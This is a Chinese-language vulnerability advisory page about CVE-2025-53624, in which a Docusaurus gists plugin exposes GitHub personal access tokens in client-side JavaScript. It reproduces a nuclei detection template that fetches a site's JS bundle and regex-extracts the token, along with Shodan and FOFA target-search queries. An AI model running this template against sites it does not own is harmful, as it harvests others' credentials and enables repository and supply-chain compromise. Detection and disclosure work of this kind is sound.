docusaurus-plugin-content-gists GitHub Personal Access Token Exposure Vulnerability

漏洞信息

漏洞名称： docusaurus-plugin-content-gists GitHub Personal Access Token Exposure Vulnerability

漏洞编号：

• CVE： CVE-2025-53624

漏洞类型： 信息泄露

漏洞等级： 高危

漏洞描述： Docusaurus-plugin-content-gists是一个为Docusaurus实例添加页面的插件，用于显示GitHub用户的公开gists。该插件在4.0.0之前的版本中存在一个信息泄露漏洞，当通过插件配置选项传递GitHub个人访问令牌时，该令牌会被无意中包含在客户端JavaScript包中，使得任何能够查看网站源代码的人都可以访问该令牌。这个令牌原本仅用于构建时的API访问。受影响的版本包括4.0.0之前的所有版本。该漏洞的技术根源在于插件配置选项的处理不当，导致敏感信息被泄露。这种信息泄露可能导致攻击者获得对用户仓库和组织资源的未授权访问，进而可能导致数据泄露、代码注入和供应链攻击。由于该漏洞不需要任何形式的认证即可利用，因此其潜在的安全风险非常高。建议用户立即更新到4.0.0或更高版本，并撤销之前使用的GitHub个人访问令牌的访问权限。

产品厂商： webbertakken

产品名称： docusaurus-plugin-content-gists

影响版本： < 4.0.0

搜索语法： http.html:”Docusaurus”

来源： https://github.com/projectdiscovery/nuclei-templates/blob/e1abbab62bb7849854cbdbbdbc632e074c453580/http%2Fcves%2F2025%2FCVE-2025-53624.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2025-53624

info:
  name: docusaurus-plugin-content-gists < 4.0.0 - GitHub Personal Access Token Exposure
  author: darses
  severity: high
  description: |
    The Docusaurus gists plugin adds a page to your Docusaurus instance, displaying all public gists of a GitHub user. docusaurus-plugin-content-gists versions prior to 4.0.0 are vulnerable to exposing GitHub Personal Access Tokens in production build artifacts when passed through plugin configuration options. The token, intended for build-time API access only, is inadvertently included in client-side JavaScript bundles, making it accessible to anyone who can view the website's source code.
  impact: |
    A GitHub personal access token exposure vulnerability can grant an attacker unauthorized access to your repositories and organization resources, potentially leading to data exfiltration, code injection, and supply chain attacks.
  remediation: |
    Update docusaurus-plugin-content-gists to version 4.0.0+. Revoke access to the GitHub PAT that was used: https://github.com/settings/tokens.
  reference:
    - https://github.com/webbertakken/docusaurus-plugin-content-gists/commit/8d4230b82412edb215ddfa9e609d178510a5fe31
    - https://github.com/webbertakken/docusaurus-plugin-content-gists/security/advisories/GHSA-qf34-qpr4-5pph
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2025-53624
    cwe-id: CWE-200
  metadata:
    verified: true
    vendor: webbertakken
    product: docusaurus_plugin_content_gists
    shodan-query: http.html:"Docusaurus"
    fofa-query: body="Docusaurus"
  tags: cve,cve2025,docusaurus,exposure

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - 'contains(body, "docusaurus_locale")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: js_file_url
        internal: true
        group: 1
        regex:
          - '<script src="/(assets/js/main\.[^"]*\.js)"'

  - method: GET
    path:
      - "{{BaseURL}}/{{js_file_url}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "personalAccessToken"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: github_token
        group: 1
        regex:
          - ',personalAccessToken:"([^"]*)"}'